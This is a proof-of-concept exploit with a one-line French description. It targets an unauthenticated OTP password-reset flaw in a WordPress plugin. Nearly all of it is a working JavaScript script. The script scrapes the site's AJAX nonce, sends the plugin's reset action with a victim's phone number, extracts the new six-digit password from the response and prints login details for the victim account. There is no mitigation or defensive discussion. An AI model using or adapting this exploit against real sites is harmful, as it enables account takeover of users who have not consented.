
Preuve de concept d'exploitation pour une vulnérabilité de réinitialisation de mot de passe OTP non authentifiée dans WordPress, permettant aux attaquants de réinitialiser le mot de passe d'une victime sans informations d'identification.
(async () => {
async function getNonceAndAjaxUrl() {
if (window.reset_pass_obj) {
return { nonce: reset_pass_obj.ajax_nonce, ajaxUrl: reset_pass_obj.ajax_url };
}
const home = await fetch('http://localhost/wordpress/').then(r => r.text());
const m = home.match(/reset_pass_obj\s*=\s*\{[^}]*"ajax_nonce":"([^"]+)"[^}]*"ajax_url":"([^"]+)"/);
if (!m) {
throw new Error('Could not find reset_pass_obj; open a frontend page and try again.');
}
const nonce = m[1].replace(/\\u002D/g, '-');
const ajaxUrl = m[2].replace(/\\\//g, '/');
return { nonce, ajaxUrl };
}
const { nonce, ajaxUrl } = await getNonceAndAjaxUrl();
// Target victim phone (must match stored user meta)
const mob = '5551234'; // without country code
const cc = '1'; // country code (no '+')
const form = new URLSearchParams();
form.set('action', 'ihs_otp_reset_ajax_hook');
form.set('security', nonce);
form.set('data[mob]', mob);
form.set('data[country_code]', cc);
const res = await fetch(ajaxUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: form
});
const text = await res.text();
console.log('Raw response:', text);
let j;
try {
j = JSON.parse(text);
} catch {
throw new Error('Server did not return valid JSON');
}
const msg = j?.data?.msg || '';
const pass = (msg.match(/\b\d{6}\b/) || [])[0];
console.log({
success: j?.success,
api: j?.data?.api,
full_msg: msg,
new_password: pass
});
if (pass) {
console.log('Login:', 'http://localhost/wordpress/wp-login.php');
console.log('Username: victim');
console.log('Password:', pass);
} else {
console.warn('Password not found in response');
}
})();